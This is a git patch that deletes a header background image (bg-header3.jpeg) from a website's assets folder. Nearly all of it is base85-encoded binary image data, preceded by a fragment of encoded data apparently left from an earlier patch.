zaQ321j;UPeeWG~f2EpRl$1IDl zBhrZ}oEp3eA|C1zDB~2%efLXiBmPD_p?*8~nEo3*Kk_u)q+e&Z==#r6F8&&0)IE%U zmZ9Wp=aR$w6U$`cB9O*YWvK{zWX359Sggl$Ld>-sA&)3uj>qt^{9c{?l1cDzxLbaQ z<2Kn9e-5KY)<4T~{{Y%4eDcHvmU@C4Lm9zrL)zXHMG>-|W4RA5kgW`PLi~5}KaLgl zJSCWN-si74`F=r;O|A-~YC66^6YwzniXq(Ma%^Co)U2wL(n`j5ETYpJDn z-tdK==MWxR5gn4`RV&*c$Yc0k<~*_s`N9@xlYF6}j7U#!xN(Bya+e97@6qY-YWP|j z+SCx?D2h^D2Nl~blAuQ2LmH#1h0A#$-yBZ4-zCH zY-mqvVt=7y+J&_$ChNu)Tt_FBA5W?jyF$s2YuWu$v?97}89dPh4w$8 z5*zGW!rI0!(lLu_*v&_&8u9-C8*I~^OR1;7_6v7OpF#Qk`xf7M?Zcs`nBi@BLik%0w##D>#rhUK=w~E!h`o^* z{QmumZ@BhmmSQn)Lik)zqKbPZdl?an^=&aXh5d`Anip@4kSM44GN-{B>LF!}f3Rpx zVSi%ANR;1ykrYze{z-am@<-IJf)>U<*h!IM790N8W24-0@L4ZWcOw);mR$~pF^EF_ zTV;q}+bn0e_TlY#|;7n%dhR0Kb0MF$GLu<&0X@?)P}#do{{Phwz2#yf33d8uGwt%{{U^h zBh(>nWB6GA0Aj`cx`nlm_iSI=%WEJ107*;r%lm>~zhB%k{1%4)0NCk%3m5wxFTrB} t0Au~fxBZ{w_WuC0)$*bL0J1b+%7^~Rul9ip{hvbr0B6v@`vU&}|Jfx^yGH;3 From e070d37874e3047da59ffa0c900c6c49cf71423a Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 01:16:11 +0200 Subject: [PATCH 0783/1701] Delete bg-header3.jpeg --- assets/images/bg-header3.jpeg | Bin 61310 -> 0 bytes 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100644 assets/images/bg-header3.jpeg diff --git a/assets/images/bg-header3.jpeg b/assets/images/bg-header3.jpeg deleted file mode 100644 index 313b15cd5e96d0a240004d4138a6454d9095b6c2..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 61310 zcmeFac|2R&yZ9eUYv`acm1>J7YF2_4MJY1;oe18Stp+X*_`LO~1w$acYqN6{2gn@dN`}Z^dcoOg* zXTMJXjvk@`(6St2p^EL=|4sJS=PwKVvcNA3{Ib9=3;eRcFAMy#z%L8@vcNA3{Ib9= z3;eRcFAMy#!2f3!pbZ1iXbyyHq>g2|h64<){?!>vSegd-WT!c4EiEY?vGS7}?T1h* zG2*Th{*){JhYQaNxc#LBg64kn`nKe}!HVY#XXDAxp^ZV~85?fbdU?0%xo-5QoS>(^ ze&qqqc94Xc1fOl5DRDUyy1$Ny=0Yw0)A-Y1_tc&()>5+dWtaC^b9iHgu3~zkdT;FI zUM?T;tbvJMjmAO9`J4i|UZiRJ-0q0?-MvHXP`d(P%4Y6$P`PF#Rpj6Z{FJq|o6^D=uV(NUA<j~o81ABlHOlI_g&m)jh|a!!?n1onUjjv& zB)jAGt#gCh*+$)SW5K@ys8`Tw9-xPHt3pg%tPsBMulE6Hl1i@!siNpWxl*M>?GYWn zLBKUCU7ot0qvXn0(}sTu*fH0oFS$*RccfeWW+#b@7u1Mn=s3!e_)#$xykzQ4W2iup zGrZp58Hc2fPFE@~iN!(12+W%wHjSXnj!mUz{1s3VHlBo#)TV${LbYhtTruN(rojDf z`q3y&I7Nlh@Y5PU+yaWeCOui+burVI?2=3x=1DiqPJ! zL2fN4$wjyS0w|GBJ`YA@a<7S%H)+ZZ`s9n>)iJIUqH0;hO*^u*Ju^1jy7flRM&JK7SK|SaA8WN16s? z6&R4I+$lvwj9SFvy4WEXD~#55S32769JpA1KFy%T!^>6Z?Ze6}N{tD`6iLE~ zOZuJLK4jhlr=o4KpOSbae;%HaN|DuN66Cu9yejOV0%Ja1QFJ#PkBvaWV@|aRxY92# zYA2>z46&GK3RlCSsTisI@Oxn)b~()gf(H%-2+1GJo!|1&#yjEF<}Fyz1@vk;QoD;^ zw;zjBT%78MHnCd+&fGG6nP{XL4mzYA=GATBZpC4tX^|?V7RFyj&y*r)Z)+Q5)pCMd zaPWBNO1vpM;B54wwd5sDGY0c3)9(dZlrrYz2S;k(){ZJ5TW`k#v+Mm8>ZPUSji7jX zmztS$Z7giKKBE&!t=miZ1*?ql*QD+X$jrKg7`E5nIB-Vh(G`W+#WQUKWBGUkt+~oM zsr|rg`(tH8wPp)S-vQ=3D1Y}G$x=!8WStDXYYW*SLhM53VRO;cI<@p!SU9x}BIRRK zQMu`kAp+6|PIq{7kF(hxuGqDL9hlO)UYXh&AzG5*B!$DI74Z5l;@7qLA_Z>JKr)%zl)%yAajYnzcZCRss zQ3_x2c}J=V`^k=PmbfVv+01n=4T5%NMM6o@Sunhrc6PR}T9v_FV_=#%4WOKh$#7FeEdlEu%)m@3X4K~Cxq%j4A)1DcmVxRyQ+*x-(yOo9 zA?Gny4;)PS>WH%4NYKk__j8gG?~ULoh&{(*<;QxskI^*D`A9Sq4vNKb%J&EwN8pX| z%m9F@CWw|Pj46>?;HZB64ZodSwCD1HV;yO5+|bzGUTSnc_rS6EITW;K8MMDD)3{;( z7{F(bhEm-f6C^Og880nBi|SERZ-PQL;X2`TQ^gQPa>tp7iW2HbWC{c?JAZQ#GolfoDn-oA3 zuhP-qr8f9@P%0fe-;GjZJpEBp@@#!&kDNEdL1O{VHF@MV*xFEdygR-fqiiuhxFo;n zlk>ITjhUT}g`tEO&j@4Sb1^9cu^7|RKBHq%Rk^M5I~EhQXI8NKDdbXj@s*N;$GV34 zmbN`%L(%b`wRyASwURMgc~ibSgX1I}EzOTgwa|cI98;>M!p_1=%fW<(i#i$O0eEJr zx1Y*e&_^~}Kk6|DIe3SWQQ7XT(o3`5&@)Pw^84Wn-M`6qJ$03j%}5jA1*lNLN+4ya zF-dUEDEj>N+B`v7RQtLp)0VqSIR{_&ADM3?FMMl1+7dS%TIZ2_ z)(5)5+J~1Fx1gg7Gbuc2phC|mtfEc*1hCXm`yUGf)Zed)DN%)<+Igclh5Y8xc6mka z>Vf}`-^3iZ&e%C^`##Og(U}<4nlcr4vIfxtcw@ry!V1|%?A2JV@=`mnFg&UX&6FZs zWz0@b_5D>~9FOcn6moL(4&FyQyI=b)t$N5^f~L)QP%nKEB8o_&eFdaffiduwoA3#9 zxzW=hvTp55+~kI) zWmZc0Zterk14m<1wj5P%sV%TJN-4F}?ymNmwiutlc4GmFY33kmk%HBqq>}OC)S7F2 z#>4CRix}C}dm(}hWde>ItJaP}*DWkdek!vs0ZwbSiSYV^A zo$oYTZq!58@0s0pcJnDF1oHQ1g@plxIY(N>@jP-RLqYA12Jt zG``kggI=3gDxz$-PkT`mb5o~_BVrERl7^oU-vL)w&Lm+w94xi9@|{rx{a5~*+ui`0 zfnbZ^Te&(t^}JyWQM{IRjfya%s9u6uO6dTe+WV~6%(sXND;CJT@AcNm%6X?L)A1XVIpytDt)48KjJha53`u381@9ZMu zJv4x~6gFYviN#_q2nI2QDu)9?6yv{Mez@Rj<#^wkVJ0o_pz&xU`-?ZuRu7By(ow3* z{QBl4B!s@o-dRheW~4M~wDr-hK*owwlfCv38wm$zw$&_E2i60J$_;u2O=_d~glw|w zKL<6k95fbHpTW1fy(eZ%m}|Xyf!wv62@i4p`e>Wy)r6}6KrlRHiV*OsRVN4bA)bDrOQ!roDA*DscAA`NiS1X{#gYvIkWCk*^OG4;1OS3XU&UY7a{RM2a z`t!#qOX7hL)MYnHjfrkAHUNpk3S6KMN@><HA=lcOp}iu#=#(LP;Nlw;g4{s;x9F>qPmw%=Ih5o;AE$RC!)FV zF_5xDy8+d+yjTdec$6_=#V847vAX4u!XE}Qprw(t)f6%l(8}n`hefOR+@MB8fx3xT zMc|jqR+X%Tm^fskD-Ils8raiX!90}d7Z)NUh5H3k3mdy_ix_x^k&;kCUsTdnM$yLB zm{grI&~r%(u2ey6IY)$wYPdR~UWLw>y)wJ!Q>=ZM*`wF8 zrL@Fr5Kk2?_kg)NW@kk`NNIbg%N#;f>#CT*xAwh`q_T|2Wh4s zy7pp&z5}kynkQHascNhDnEEsw73~4k%%QJRU0cxbEtL!hTU!SQ2ZI7?JRQ-c&NRfL z;x&6WkM3C*(=g|{+tSQI57L~_BhSZA_haC5#7=78+wL0jtrdf0EgMiPof-~^Rslyr zAd(P>po2j^^)|#}RT+5Evz?k8ofknYOvC5bmnvf@R}a=qhc?}(H`(4G{ckxXJ_4op z4F`aS@Tuv%iN<#UbfR>3Rbcm#N4vPF0kIwz18VfYkj1R8N{gc-8h~aRw)=3aMd_f4 z&Srurm>Q_oRDDKA?Q@&MYTzhAg91a81r}$5gL0+!c%5lDLtXb3fo2pi zga7Omv=%g#8shOvV21>O}gf)459M|4KbyHaV?VI^h&JV*>mB{Os~ z&d-3OgdGfTo*LWT8m!sy0&3jZu_bX`rxqOy3Yobv)KO9z;XGq8P3l|;>V1e3 zG!%BI6E^60VOD87<0z&{H!jIv1QNZgZj5V5u(Ni!dZ1+27lS2t%Cl<*muAbD&x<_Fh(VeY+l3!xei`ApBL> zvqT!zw0)Iq{{wbTL%s}R#=6JFkBFrwGG}Hp_lu@NYT4R);jc&?ZC1Ly;ZF^snE_$I zGFTB3%BC|4k)c*%I2{bbhUn%OsqRBy{7KMI6wnNKl{f6szHYXk+<_YJ5OhCzO2XP2 zPhidIwXGNEuddnXzHMuVy4P)%j@3Y7-pZY4s-~g+F(Oh(tzWYp9K{`6vrVX_&S+64 z##GuCE2bH3j;BiovOuGR)k7?0)-UHBDB_0b{(~uH4QuQVMAcNGLJv#vbyG2RDI!JA zHLIfyBG{tl-F6}8riqq7IEw+^jMPEut(L@`2X~_4&;xrR>tk7|ou`Ui4S~WcB9eTd z2o@FgZNg~Bhr0*Kd1!KIKYUbaI{=e4qh}~k%NP0%!iviOVQC;^@g>|rue1t_}lHGH;9R%iCRLSF7OTB*c&msujRLo8XP1f zAYdZ5pPMozzLeCK)#fdl!6AyM8PkAAM<<0lsO|~%bC@%fUdZs|Vnf849?Fr!q<0D0 zBU}(GN?1j;dau!=C=F&TZ6`>raHtEc!dqTYzuo4u`Ze!B83)MoYAngtK~>i* z$wJ%dF|~rGZuO19GS<>A+Ca2%tK?-p_79Rm92Mc!-4ge*12V}(!fN;Y*%TK?L_5%{ zUBNt23p54>VO8wI80cNsv6Ts}2Z{;U)A!pG0_8_zv6{xI7v+$1mO1g+`BE1zLTua> zOEu!n(4Alg-Y`~qQkM;Fv$p&e*M{5Y^~(CU{t4Im6dAZoCEL8N%g<BOh^?5JKv~BM58IC)q)*gKxXOBL~x%bvYO0Fzw7L%S2MyrRJXx#;cF_?+i(2c%C z_Dxoctj!t7aoI%BDT+{!TE^iM_$T& zHXqG)T(oRg^4a`yg?&bQ5i$`VqDh*oI3I&x;sAp(=?KX{6%iOql}R&W<^6+p1e2?l zm|^_X@v*-AH~5{m#GR4ROY66+9}EZF-jIokC3M$_H5!p4^`ExiE;><0wWn zSJb|9G&e0rjc3jegF5}o?q43w!h6?i$%28JHOMe<7z>rQ<-lnHY%Bm#@1eOp+1hXJ z?U6F;TpxE#^_2!%??w=9wLl=2I>;57-9?WWEhS3O!ljKbx#-bonFYib^VdH>Tm4NOcA=3oMxjz9+!!6=n3$Js@@e%vjj5o zIoYAs2X@(}=)8&t7K6b#`7-Y)2>eIHrvRxhT;nmT5}6W`So<2`SB0fXH-8|~u_-aO zL_IrrLZwmvEl7y0jW1>6qupx^bPQ}vBZNe2i8|N^x$Fit(>-NhxjwqYVdHB4xv0r) zsc%G4BpbPjn}^h9`*HSS(((3`aaG8g$fQ`D+d=uh-oZu1;G=b;VV>G|{P{!I@a zjVN2xCW}v?0RRpVyI_d-=mUuu6M6lb$DbPJD}q`-I}jhf9l0c9<04M2K(P|E>$q4B zfld%wi!Dj8^f?{Z=$w&_%)tk<0p|)l&IO)((BrQ?7J{t^&FA8#27|+xQ!06O$qK~x z>c^)SeR93Oi1t#R_wGhlYEVXq#Gz)AO1x(dqRBPGtQs_Kt3{Wr#c#%UgAG#IQMB9i z7ufMreeS@g5TH$D?^pezp*>f`eq8A*Gk%<(zLHIvB!{+vw(q}R`HA9@P^*zE z(V-W6zjEd%WtwlCC>^m!SFfSWvmL{O8Q02|PjyGv<-(i3;Rmfh=17m;lc1w|!(}Ms zaB$S3PC{T1?mgyWnig1X+|!7KR;`}z2L1@iavP)gKd>x~On>&?iL*QPGak8^X1U3f zyMLm@_gs_rEOA@o&f4~P-b*uT8Mh15~rT z(L#Oh1^LecO}Gil+sE^w-j&2d=kHGmTYKR_g~`zL$ABoX34@t1vUu+6X!qQoW&HdABrioEm|E*G``PzDAZ*?VbDunU^vq0G14ndQ- zt+{tn){twQ^UI%N&X@#qyEJD9i;>g)Al9P8;=xaHRiwoOL>ASL+x0YrLHIx!KwS#} z4Z9|_Xy?E5n7KT9+G6~f{(oUv7F^6vS{;1SWBe~L(U^X0FGA~(i zt%vF;Fv>!sMQLPMpxtyQjnmL=#cjGl$6fv;zdt&4jwt;Xs3y|b<$Z5V~QOE)SKP>yuKPCwBHZ{ zN4(9Qs)w2ZMm^d(N(4#J5}T{S=0FZNK5=yf39#J)>BD=8+@YOm~D|MUZ$_Q%IJ-OxsUo{v(ld zD#$nucBeIQMw1A}IUw`-OG|YBcpH8*OuC?!%SG zI}IMN=&YvMtajngh_82)IQ6c`&yop05%^nDOK4L_Il))k>s1)e_P&GcO$nhF{yqNd zW?D}JFDXUzbc>?RCbxKRA{^On7>5a~P@|?N4dEhUIwaHe@esQ|8A_K}*xm@v%^jxn z_?J;k$TQxUzbMg zSSRySI;ND*1wFn)mZtj`p}!x}4BOOiP&ST!6f0mFKB{xvyh43ij`QfmcwbI-PJHj( zL@gI=@cF8aIl1H4`11f)0pX?3>6yxpK8V1~NS6Fv&%f@SPzkkP|JKm9yFHpftSj$z z?n>t&t-10LR+n-(xywb{D4^cCe-Wa&;1JA7);qK9>IGWJerkQrh`cZzza0vF|8ZmP z17grVeS(tp&NbpnX72f*pf_vNQ}Ta&VE{!%{r-v&G^Iew_57jqj>3AgOM2gOmgG;m z+vd?~mCtT!UX)8XPm8+>xO-JtwV%4KXZjq=X#3o&f1&z^!$ZVSo#~~G?JY{SzsUj= z*UNcj?&$jDdq)wa;C7Bx#wM43x#c-x?_3FO;y;MdT<}%Qq2w<6dTo7PihMA?eMPa^ z$81A#X^T1>;fi*QtR%00+nq8}*yF@Jsmy7pX7zc(mYgzUBThbVw%$M{kDe8?&G`9k z_x2)F=LM`CJcrOaGFbzyM?ay6 z|4;^K?M!tll-65!a#oZFDUQ!RzUvOT6}ooJ36yG+0NM<4WzbzFZ0Dy(InjhA^=?QsUwK_I``fZmxR! zVu0V~ZPNCW_0}wf)pg&`AIZZ#m2xFh=PtE$-8*-U-0)^~^UJG-p6rdu{85X=`;W`*w@|s}DP0Icnx`vTPESGZ zmfR;XRGm+^Zw*1uHCJi9sMy4(sZmA}*+$7AiTi)LJtBPfKNTI(Q&he_y?56Cqj6Eu z0BP9c%8F>CCuKA@Xk&UR1+}@lwy_qjwK2JO&Zd2M3X_}jrm>gg52s8H^njk4D)c~V zMJ`sj=IGkxOp9cRQx*Rc;NK5`7M17l9=VT$&-A2fxfq92ul(*+fhWji!5dztLRl&n z1R6THEp=@Ssnu_Eoiue?p7-y<|F$Ri4gY%MmQsav@MUkxh+7hiR!W^@GTn>EgT0Sm znoowagXNYm<}WB(0S@&UL)9Wihy7&|EMtLnx+YK@t8i~eM9ftHv^82SyJ@c(lld`# zC-|$ig=2pj(XQpvC4C-*ySz7Q)4S0}a{cXt2QypS^+bTy#_m&PqxSyi@>6CnJ`59_ z#S5?ElcG~mwVi~ur7K^!T;(RGQ4t;g2K##gO+Mq61$nG^?3N2dlttD;IZW92t_pFU zkUrkS6PtvkqfYlUCK!|&;~rP0wB*?DD&h?F?f8bhC4Jh?UA#9 z7iyHR(*w~19Zw=<;X4rx)Y8b|=rCx-YIV$&J56qsONKgIVfmzyh^HgER}9rgB6NL7 zyGoC7#zWcUiQg1YT$=dUUQ_d0zSfF0{FxiKz}9I{?Ei6{{p}nR_pr# zJ55iJMvjQ7TOMlO+9fe82G6|+$;sw3BmTE8j(8EvsrBiXi$CW-+-myzt+Kj)DRF~d z4Sr)rx3pT7DbZ|0*CbLgD=BPw7D=kfd#U1yo5VO*Gts7p`;8m9@kn>f**>mUR>~B& z+KV4phbr{1`8V$F-sw73{$e`c_Tq?#bWgT~IQrA*Etz>ranNXfwuhL`1gMaWFnC(> zVlCY)@df3Wqlgev-2ay3->cn!x)c|KonXgJE5}lOmqO~gmul4_B!f)F*WZ}t;+TG4 zu_tU?I+P!OyOMHwDmJ6~pJe~-fR=&^`OV7jEp}mHy7-nmjx^Bo&}DM6`UXuZS2!N} zp*DRsV^R0hO(!f*%{q_C?a6h-f|XHVSQ(Ha&M6fv?z5;p>ZvYFzF}}>=kgMm@T5rGv&s0rR?s15dAme9|?z4^{Ymdb%#Fb>rex)U0UjR)$rn* zKCdW})BrSfDF$^pfl0mET2YHs@9y&5pQ`wKVj)xAQ&#I7`JJ)l-ZICB5{OX?pEHN= zqdPftfrSD-XjDpVzA!GlgVIY(u>Vk@onx7!>wrgH*KXJFP#ZOz$~0@&^O7J|S=CwjD3fT1eg1WQ4umA8pr9vbdr64H}nkP|o3)^ajXBG%PPX!twmDdy% z-8PncD+OdCuwagGKK>FYwaSla>w;vb)IyTYD3AXR`VV`wt(cXD?v2xmkUDz2wg{M` z2&p@Wl6lra9oVB50_tpd=4`*E?F5;Z|Bcm}9M)M&{)5A9-yowSJsWzd!@lTM8J8G# zY*%e9S4F&io#W-M{;V5Bo^}~*v6TOlUY)HTABy#e&(Nc2OS3ezmrSc8dsf4hkq^W- zwmFX!t$o@x6tfgV?nvk}&6&FOtj%NN>XX$=-#mG9>uvl*Wj3&|9Lmn0heNBXsNoW; z?a`?<(P&2pSx?uW_gXj}>G%6|e|lis2!tlW%Gh+eO6FD2Gt{|t_mNQQ0#TNm`1SEA z3U=!3)qk+jAM7$!izS!3PPThIq>K*qZdtZfd%18N9Z1!N#0!_<+I%upvQYJwQo>kl zeFPb*m$C(knvJnsF{AcmN}~|r^=D7x4I&r4Dn=b-sMTViHC;xpe4Mh!Ufk? zm#3Q|Y={!JH!gKV#=xPq+Jf~}iMl|%rBp3>^h)1Pp>!W9Ym7=fQfzz!!c*tZ78nJXnPnbE*br{bi>c6Ian)#cMh-1dN^++EdVTLtn_pV(bD_pcrEq^nUj0}2pB`(iI2MngHUb|nG1GJA+~O*`;))K?^Gy>p zC?|DWUbHs%s;%gRAZ#OUx#-@?5bZV(mY!^U#Hc}F z#&Jau9)h`g+*+B+f%QV_9hs7X_9h)VgnSM|Ayu3Z(Mn1)c*bk?ldr`tr`-~&Id855q)0r;F^(>w(CtWaQ!uPO$V^Xt4DN&h>nGE zJv100d;mhBg6V`FSAt4bO$sA=s2q!}0E?#Ju!e#uHF>{*`s$i}zplCd8^ezTptB=& zlIKGA!lE^Zy2k8BV}OTKF9}v}#5z0Id_-a95B$!5(MB6N*t1{VJ_bRgnMb7-IzrT6 zNV(85^iJOHEJg z#WW~dRX1Ii76y-XfPgc&2rP9viO5@OVCo|+_`A3YjoD(x3vQxjSFryA@cSVR_`&cO z@|3F$Vnsy@WTh9A#iwUZ$<6wrqoICVg02IA+jN_9Y8ebi^~;xWK;3c-`UKX0Jeu zm_33blVuiW=m0Um5;DeP4LKZQvlHuM#GQ@vIc5sWWNL73cr{$A&`JAF+3hoze_nVv zl?MI3JqljztEQ)3lQ68rfqGGFk~RS96AwBruUBMaamICsWbF(Y_5Q4aWaCFik#Fblu_nYuq)aT_Vas-i7Yse=GFJ^_ zh$-T@NmxupjFXMJM^F7b6E!8)bisnM$sKs<(n%w5eo_(^n-m?ruDfgP(~VC2sl*>8 z9*!N(cEfw8t(%J_#4U{^#BJ2XW^hQ0y18L2G4aq+A&VtxbQ$!wQ~9=GFVtPA&&7F5 zktuwnV{*^QArqVACMAX8E*MJbu`kyN&j+j6N#jYW_$sVg_DA(7@ zUT&%vw70i?oSvSgy(ZV9n0@u9U;pF8LLuNpkHFJOpXNLB+FT<8UC+dw%=*TLy=7uk z&7&mj!8$H&k`_csOa9I>v_pzzzksWB!69S8G)c2Zg=~)Ur8Cx0F@`cV@G$_*MJa7d zZP8v6FT`h$9G$yA%aqx4p1ZxmcigWUPI}hr--}}XuDT@|kyZWmrDFMh z`ziS+rtui~V$X!j+^SdCy(ATLQH+YqFkPpN000d&iLezdog)%h8YgGc1)Pn0oSjn& z;eoKwc!TtYmlW!4nX$!LcmDo#7n&4v6nBAd#8AQ?zR4x+5hPm zfF75Iv&|huSj=k1Qo(84jbbAMaL=y+-h)ZCcVxFj}Le!9ZP z`35e%9X3=dfQm=+fQMK~UsI}s9c*>sjFr&u~-a&m3LD1>hKZ;)bPjUVxN89Od573h8v>oUg zchhqAi4{#dY>%uOBvm=(}$d7zZDDfE$liM4!l%+INmV*WO7i~4r zvATvdTWwAYw5FMW#P7k(2}Htzj|I$q9H!zoqH7?Pl4tdhn zQ2+nGZYQWOQPW`o&{E%;Mo)M62tEDb!?cHfC_8kL4#-E(!YZl4%Wrt|@I@)r+n#La zAy;8H?p-tRO3G(9vaRk1fu&{czUQzDLl-<(Lp|&JOnvPd1NBX9G|DvJ0Xv_vDxYI* zegi(KxeOD!Q92Yq96gvSCjX-OkSDF=jFJ#s||! z?_$0k>&wsaNxS8HQGxS8>QJVsX?^rEkG#u3u2di=Geh99mh>%O?ksk^#@2=39-QM3 z>rZ;AE+}%IT@MnTm-_J5MvNa_388cp83b~h5=<%4i)Vkk(ADZ9l^lP`d7Ix-Lc4hd zJs(V4UIBa7xmOU%U%_qxi(ji~IS2DVvoj6&8sm0jPM_zr0Osh#Tv?Cp&uF?JH;N#F zLf?03U63Di%b(xmdg`dax6H#MGFX&+XZTIhc)Al=9!FRCzWPOV)1HmHek-4SZxXuivo;sW!KwjobHJ(d|;>ByuGkyp25 zccM`4P9*z=NiHm2k-h2oNp9D80fXNnguXsPKGjEa&mb4(kdJK7woZ{AjOf9FT1fM% zg5BjYjYdKPD{s|3Z1)|`%6B&7^vrE9&n6g&O{@=9!^FxM@3dH3D4m^|}W)mvwOg|PYsCCg{hW%5kr^LPWr2{KZ_F!6_#@C;z`17W{%0RtEx{KYhj3Mkji^*}O9{0b zvPf>vX2ihEr|XO_%AiHo`Xb)}^W#H%PZd8hyyh(+MD?$<@WDEbY#er&IM{ruG3VFB zToSjrZiUzJ_$S3Tg!HG^y*0yny(E>?kmtZopMs*wC5Cd<=kzD8zfV~B6gX2iS%2q^ zSkGCiUQ5`^2O%Gd-@5i>iLXaAX6hf=yrgY8H7(62)Gcb{@%)t7y{L*&&c*&~H{S~i z-hn`O$K|1`aRv*)mg|B>kKCn+@?7&hAvlKF>QA}h(BZN`L$>}-@p z!RvB6i9iVV6Se6;tB*K67^3=MQw*KA z8AZ$oV`ImMT=zfBfQc^JNqT$tEn#meLpLTnPYg+Vy%}DydvjTUV0UqQ+DNa6KlY(v zMYfV;fT9Mwh;g!MikwY;WI~wOW{kCZz3O#iqphN**3%;F=SNy)`L9fotWw7iUs{aY zlnpy~?is>@>CBhB64VlQ;G4Ui-K z{WJ9-~AonQrZ-w%6YTG+VZ0>pD$;n-LmAT5ZubjQ%86GMcf3|2C)r|%jVWWd7b+flJcW!4 zA;#GW2OgcMLm5~L1>G1sw{8}M)lNDY5Yafh|E{R7)GtQ6s(oqfi;~*TsdUOXeX2Jeh~4hF<$T)onG*H`d6^tqdI7ADoF^GI-6#1H(ir$9|JFmyJKN zFKsxlX7yyt4e4<0{_Xyk*N+{~IKww+7t1a7`f-s^aA%y!oW)N1BEmw<4{efc9m-j? z))`eSL0uw0!{?hhW!rY&-Vsu(0Kt;x>?Bbtt;Y}D{UEK>l~^e8STfF4)n$G{`mq_& z`Qg{5>}(RKcJQ}VQ+__*)01i6Fq<47>nS@qeCBI({Md~XZ4sW^< z6=nIFgP`rRr(yaINqw6EsS8OhjDhKWZTIg-K9$t|bkt7L`*DhWQ?zJ}>&p*c9>hA0Do)l1<&$tsR9UsDYKB90w1<=D*^Q1C#23j2N%hXRtI?m+S~#C_ zW`9n85Z=LHS*Y%_$*FP4xN-E^jn=Uc z+$TG(2IoD5K%?_&V1Jih8mGeEL!l_k90K&^@^Jfmyd0&BK6zp^scugoE-?N0`mS5f zV7s3GTVdS3{i=`fu#ZTy=#)9z>TQ!x{P(5ehc|>wij|QC=-AKfmx*8>uR<>cElKkY zb|oE`;*(cC%}x;c5vlMXKtti&HJWRR{;!|=I6wwshFQ&Af|M_jQnE6=g5G=?EEY!B zv5)f{%^0OtC4+g7eEc8bCv5uelPB0Fx-}enU)WA^0=blsSD5Q3H_tNq<*GzRRT;L_ zk@HojpR3nbdizQ1Gj$B4=u~>!Um$Ls-He#HNHyoO>0mvB51U z$&kzE)X-&E%rQ3*vnrcgScMDllP*tRuO)i_0n;U$xj3te-NWHVU8Wx=ODi>D0GV3*4q~r&; z3*>bR_|MjAhlsFWKcYTdDZ>^|e3YZSSW?Wyyt8%NQkgX&)R4KNX5MY(x=>$6S#(C} zD6vlq?39l%WS17a{>;$&F#O%+_Gh;r++ApY=AF3UpK$b!hMgo#O(OKEWTswBd1QB> zKiVWyYsw}zQ>wJQw#3-#Moe|RDlO-P;#iaJ6@jzxG6li&&UTB_tH*J=oKMctk3m=T z96H91`T@)L-&ce~R`ea!o(%Qgp(@XRW>GO1~24 zQ-i)q4(xw2*>~WVM-=h%OpzQ5Piswk-pV>RWYq7!y~W3<=W^0C*;jMyHODE<(&2&B zTcIz4qSUklIGy9{&P}Dax$m59Mea&`pcKf|xHF~f=+O;-xOV*}%hI|cU)vt51NnU2 z;vLhQ0&g&~Zi@HkEm@<#>BT+^p%-MXd7=}TzQ5n*4n-j7;j^K!nfwihoDEZV##7$< z*}TfASNWkt^p&UN=ZC>U?K{ow4>Lu;)qbgOzp!2~&4(^)k1CSC91?CXfDd#456C{tKlQW zc-Cx^LLZxbac^W2XE*KKMU0tI!rEV~EY5wD3V0UvCMBlDRU&7$tVY(F>&BMPWuN-l zbz$i8%ku7#mM0RhFV%4q8Q~qYZt(x zwF%X(>3hknJda~yU+DY3dMPSS!hJ2Q)hu~suyuzoxOMM&z?_-Go8sg%q3x%4tu}6z z<+Rt{>6DEia4j4@>|O0~l6?~{zn$*nDJh-*wGgwZm~Msz{?@n17qGO~$p?yD%30AA zoXh8Kxkr`OYY2IILZt9&o5A$E(!s@Pd$)|xl^B+cS>?s(r;H2*%e`To6%CWN6%vo@ zY)eYV{0A|{S{Ax~L5Pi;uU(Yi*^0u)KJO0~#}%%Pztw(~r4b&LXvdN}Wm_Tmx@s>_ zHdUNMzO=sLQ?t06OIN~B!IUXxJ8|ZGzTwfTq?0ZR`BK!1*lTuwvFo;5SHTmBp^;XD zhaq6I_Dx}T5|5m2_soNjyO-W!^=k0!f@@CtC`JB<&Vz)Oh+TwUk4)dQQTXSS(tW`s zc~)+gaK89_63Hq91L2Cre2e%3E2OMR$JBh3+#0WU{=Ainqy&Fu#P`Qq)3WqbYscQj zf2iNL;SA=i%mpm?6icl0dxNCSw7s|tiVu(5Cr;|Du0q;hHNN@LRCw)|R||AqzEyi# z%lt%L`=TQFq08s;uXR(^7lLFem#dk5>~Tjp-=6ZFx=JPMSFNc&$>>JCZv&nf3S&?;a{>G~BJ|Pw8sa z)6c6K<~qtbZGXFNdf-FYwY~tXVSc{XY+IXTe!=Tp=S*7+v(wOb0B2yxITv~3A%uj7 zRG>@k79abbmb;E+0KB1-_0mv6ZaOcGONgb@rn3|f_X%vzWe1a)y>&N>`Uh7Clh_}&gD1afi4L1M!0qkHKU1ik*}rPT+0i^_28me{H& zF9H3ks3d{=@s(B1b{AR;zrtG{%2u?O-!&f%!I=ARl^B#+`#TM$OeNJSa=YWFZT7QOFnJore1;sqmgFhWN~6v(`OPDk)cU1*tE~MBx5%|fliQztzqZbA9zWiZ*8(Jc z2N<55(ZSgA^J`WMCKm^8rH62J zye&|Ap|85U^YzDL9(44fczVq81Q|VA@WGjwx8HPLU+k;{7oknRzPw+!^Z`F$y^9u9 zQO&X?f^VYaSb8H{It?PHTQ$&|(YKRmm`AAS!Be9_Qqu2CD$bh`XAbuz4=7vS& zX&1)@Ekra8)kos`fl>B{O-*SBjy*+JZ zz45IpY{8#Z(~z~PifFdNEDlUIP+RD;TasHjvrCR0ZK18h`xjR2`gbq%Kk{a^TKMvR zc=`&csGcu=R1^^eX^@icSXSwUFWucO-QBH%EZwlIlyr-Pgp_pb(x^1Dz_N6A_<#QX z=l_4_op;X0%)4{v&Ye5=e&$YAq<~3sGlP5PS?l$;RyS+Pe{@jZsQf~tH2!S*=$_vn zniP3$H(7?W%X=EDRZqUz>L&f784+|AZSqC%-vvtYUK{|O8`Oj()X}ubhXvgloSNYD z^oZ{HR~}yx5wQx*{@(&s!PdY<2~2F(dwj;DUDQ?_U1Ucl526CvT{-cVgKpy?Z`5QVYN`efFBCm zp}S~}4{d@>+q~!q7HkK<ua~O-HBrWTxp~$hxMF4o z13I}$Tf8CkULFuIO>`;kTx)#O{qr8@NM}-<%`2d^6%);a9fRk+M1&V?vNh8bk5QdIg`KATYLQQiQ%-d}ky- 